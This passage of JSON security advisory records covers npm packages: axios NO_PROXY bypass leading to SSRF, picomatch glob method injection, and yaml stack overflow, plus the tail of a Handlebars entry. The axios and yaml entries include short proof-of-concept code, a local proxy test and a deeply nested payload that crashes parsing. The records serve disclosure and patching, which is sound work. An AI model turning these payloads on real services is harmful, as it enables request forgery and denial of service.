      "type": "PACKAGE",
      "url": "https://github.com/handlebars-lang/handlebars.js"
    },
    {
      "type": "WEB",
      "url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Handlebars.js has JavaScript Injection via AST Type Confusion by tampering @partial-block"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-62718"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-441",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-09T17:32:19Z",
    "nvd_published_at": "2026-04-09T15:16:08Z",
    "severity": "MODERATE"
  },
  "details": "Axios does not correctly handle hostname normalization when checking `NO_PROXY` rules.\nRequests to loopback addresses like `localhost.` (with a trailing dot) or `[::1]` (IPv6 literal) skip `NO_PROXY` matching and go through the configured proxy.\n\nThis goes against what developers expect and lets attackers force requests through a proxy, even if `NO_PROXY` is set up to protect loopback or internal services.\n\nAccording to [RFC 1034 \u00a73.1](https://datatracker.ietf.org/doc/html/rfc1034#section-3.1) and [RFC 3986 \u00a73.2.2](https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2), a hostname can have a trailing dot to show it is a fully qualified domain name (FQDN). At the DNS level, `localhost.` is the same as `localhost`. \nHowever, Axios does a literal string comparison instead of normalizing hostnames before checking `NO_PROXY`. This causes requests like `http://localhost.:8080/` and `http://[::1]:8080/` to be incorrectly proxied.\n\nThis issue leads to the possibility of proxy bypass and SSRF vulnerabilities allowing attackers to reach sensitive loopback or internal services despite the configured protections.\n\n---\n\n**PoC**\n\n```js\nimport http from \"http\";\nimport axios from \"axios\";\n\nconst proxyPort = 5300;\n\nhttp.createServer((req, res) =\u003e {\n  console.log(\"[PROXY] Got:\", req.method, req.url, \"Host:\", req.headers.host);\n  res.writeHead(200, { \"Content-Type\": \"text/plain\" });\n  res.end(\"proxied\");\n}).listen(proxyPort, () =\u003e console.log(\"Proxy\", proxyPort));\n\nprocess.env.HTTP_PROXY = `http://127.0.0.1:${proxyPort}`;\nprocess.env.NO_PROXY = \"localhost,127.0.0.1,::1\";\n\nasync function test(url) {\n  try {\n    await axios.get(url, { timeout: 2000 });\n  } catch {}\n}\n\nsetTimeout(async () =\u003e {\n  console.log(\"\\n[*] Testing http://localhost.:8080/\");\n  await test(\"http://localhost.:8080/\"); // goes through proxy\n\n  console.log(\"\\n[*] Testing http://[::1]:8080/\");\n  await test(\"http://[::1]:8080/\"); // goes through proxy\n}, 500);\n```\n\n**Expected:** Requests bypass the proxy (direct to loopback).\n**Actual:** Proxy logs requests for `localhost.` and `[::1]`.\n\n---\n\n**Impact**\n\n* Applications that rely on `NO_PROXY=localhost,127.0.0.1,::1` for protecting loopback/internal access are vulnerable.\n* Attackers controlling request URLs can:\n\n  * Force Axios to send local traffic through an attacker-controlled proxy.\n  * Bypass SSRF mitigations relying on NO\\_PROXY rules.\n  * Potentially exfiltrate sensitive responses from internal services via the proxy.\n  \n  \n---\n\n**Affected Versions**\n\n* Confirmed on Axios **1.12.2** (latest at time of testing).\n* affects all versions that rely on Axios\u2019 current `NO_PROXY` evaluation.\n\n---\n\n**Remediation**\nAxios should normalize hostnames before evaluating `NO_PROXY`, including:\n\n* Strip trailing dots from hostnames (per RFC 3986).\n* Normalize IPv6 literals by removing brackets for matching.",
  "id": "GHSA-3p68-rc4w-qgx5",
  "modified": "2026-05-08T13:46:43Z",
  "published": "2026-04-09T17:32:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/security/advisories/GHSA-3p68-rc4w-qgx5"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62718"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/10661"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/pull/10688"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/03cdfc99e8db32a390e12128208b6778492cee9c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/commit/fb3befb6daac6cad26b2e54094d0f2d9e47f24df"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc1034#section-3.1"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc3986#section-3.2.2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axios/axios"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v0.31.0"
    },
    {
      "type": "WEB",
      "url": "https://github.com/axios/axios/releases/tag/v1.15.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Axios has a NO_PROXY Hostname Normalization Bypass that Leads to SSRF"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "picomatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "picomatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.0.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "picomatch"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33672"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T21:13:39Z",
    "nvd_published_at": "2026-03-26T22:16:30Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\npicomatch is vulnerable to a **method injection vulnerability (CWE-1321)** affecting the `POSIX_REGEX_SOURCE` object. Because the object inherits from `Object.prototype`, specially crafted POSIX bracket expressions (e.g., `[[:constructor:]]`) can reference inherited method names. These methods are implicitly converted to strings and injected into the generated regular expression.\n\nThis leads to **incorrect glob matching behavior (integrity impact)**, where patterns may match unintended filenames. The issue does **not enable remote code execution**, but it can cause security-relevant logic errors in applications that rely on glob matching for filtering, validation, or access control.\n\nAll users of affected `picomatch` versions that process untrusted or user-controlled glob patterns are potentially impacted.\n\n### Patches\n\nThis issue is fixed in picomatch 4.0.4, 3.0.2 and 2.3.2.\n\nUsers should upgrade to one of these versions or later, depending on their supported release line.\n\n### Workarounds\n\nIf upgrading is not immediately possible, avoid passing untrusted glob patterns to picomatch.\n\nPossible mitigations include:\n- Sanitizing or rejecting untrusted glob patterns, especially those containing POSIX character classes like `[[:...:]]`.\n- Avoiding the use of POSIX bracket expressions if user input is involved.\n- Manually patching the library by modifying `POSIX_REGEX_SOURCE` to use a null prototype:\n\n  ```js\n  const POSIX_REGEX_SOURCE = {\n    __proto__: null,\n    alnum: \u0027a-zA-Z0-9\u0027,\n    alpha: \u0027a-zA-Z\u0027,\n    // ... rest unchanged\n  };\n  \n### Resources\n\n- fix for similar issue: https://github.com/micromatch/picomatch/pull/144\n- picomatch repository https://github.com/micromatch/picomatch",
  "id": "GHSA-3v7f-55p6-f55p",
  "modified": "2026-03-27T21:36:24Z",
  "published": "2026-03-25T21:13:39Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-3v7f-55p6-f55p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33672"
    },
    {
      "type": "WEB",
      "url": "https://github.com/micromatch/picomatch/commit/4516eb521f13a46b2fe1a1d2c9ef6b20ddc0e903"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/micromatch/picomatch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Picomatch: Method Injection in POSIX Character Classes causes incorrect Glob Matching"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.8.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "yaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.0.0"
            },
            {
              "fixed": "1.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33532"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T20:08:24Z",
    "nvd_published_at": "2026-03-26T20:16:15Z",
    "severity": "MODERATE"
  },
  "details": "Parsing a YAML document with `yaml` may throw a RangeError due to a stack overflow.\n\nThe node resolution/composition phase uses recursive function calls without a depth bound. An attacker who can supply YAML for parsing can trigger a `RangeError: Maximum call stack size exceeded` with a small payload (~2\u201310 KB). The `RangeError` is not a `YAMLParseError`, so applications that only catch YAML-specific errors will encounter an unexpected exception type. Depending on the host application\u0027s exception handling, this can fail requests or terminate the Node.js process.\n\nFlow sequences allow deep nesting with minimal bytes (2 bytes per level: one `[` and one `]`). On the default Node.js stack, approximately 1,000\u20135,000 levels of nesting (2\u201310 KB input) exhaust the call stack. The exact threshold is environment-dependent (Node.js version, stack size, call stack depth at invocation).\n\nNote: the library\u0027s `Parser` (CST phase) uses a stack-based iterative approach and is not affected. Only the compose/resolve phase uses actual call-stack recursion.\n\nAll three public parsing APIs are affected: `YAML.parse()`, `YAML.parseDocument()`, and `YAML.parseAllDocuments()`.\n\n### PoC\n\n```javascript\nconst YAML = require(\u0027yaml\u0027);\n\n// ~10 KB payload: 5000 levels of nested flow sequences\nconst payload = \u0027[\u0027.repeat(5000) + \u00271\u0027 + \u0027]\u0027.repeat(5000);\n\ntry {\n  YAML.parse(payload);\n} catch (e) {\n  console.log(e.constructor.name); // RangeError (NOT YAMLParseError)\n  console.log(e.message);          // Maximum call stack size exceeded\n}\n```\n\nTest environment: Node.js v24.12.0, macOS darwin arm64\n\n| Version | Nesting Depth | Input Size | Result |\n|---|---|---|---|\n| 1.0.0 | 5,000 | 10,001 B | RangeError |\n| 1.10.2 | 5,000 | 10,001 B | RangeError |\n| 2.0.0 | 5,000 | 10,001 B | RangeError |\n| 2.8.2 | 5,000 | 10,001 B | RangeError |\n| 2.8.3 | 5,000 | 10,001 B | YAMLParseError |\n\nDepth threshold on yaml 2.8.2:\n\n| Nesting Depth | Input Size | Result |\n|---|---|---|\n| 500 | 1,001 B | Parses successfully |\n| 1,000 | 2,001 B | RangeError (threshold varies by stack size) |\n| 5,000 | 10,001 B | RangeError |",
  "id": "GHSA-48c2-rrv3-qjmp",
  "modified": "2026-03-27T21:34:51Z",
  "published": "2026-03-25T20:08:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/eemeli/yaml/security/advisories/GHSA-48c2-rrv3-qjmp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33532"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eemeli/yaml/commit/1e84ebbea7ec35011a4c61bbb820a529ee4f359b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/eemeli/yaml"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eemeli/yaml/releases/tag/v1.10.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/eemeli/yaml/releases/tag/v2.8.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "yaml is vulnerable to Stack Overflow via deeply nested YAML collections"
}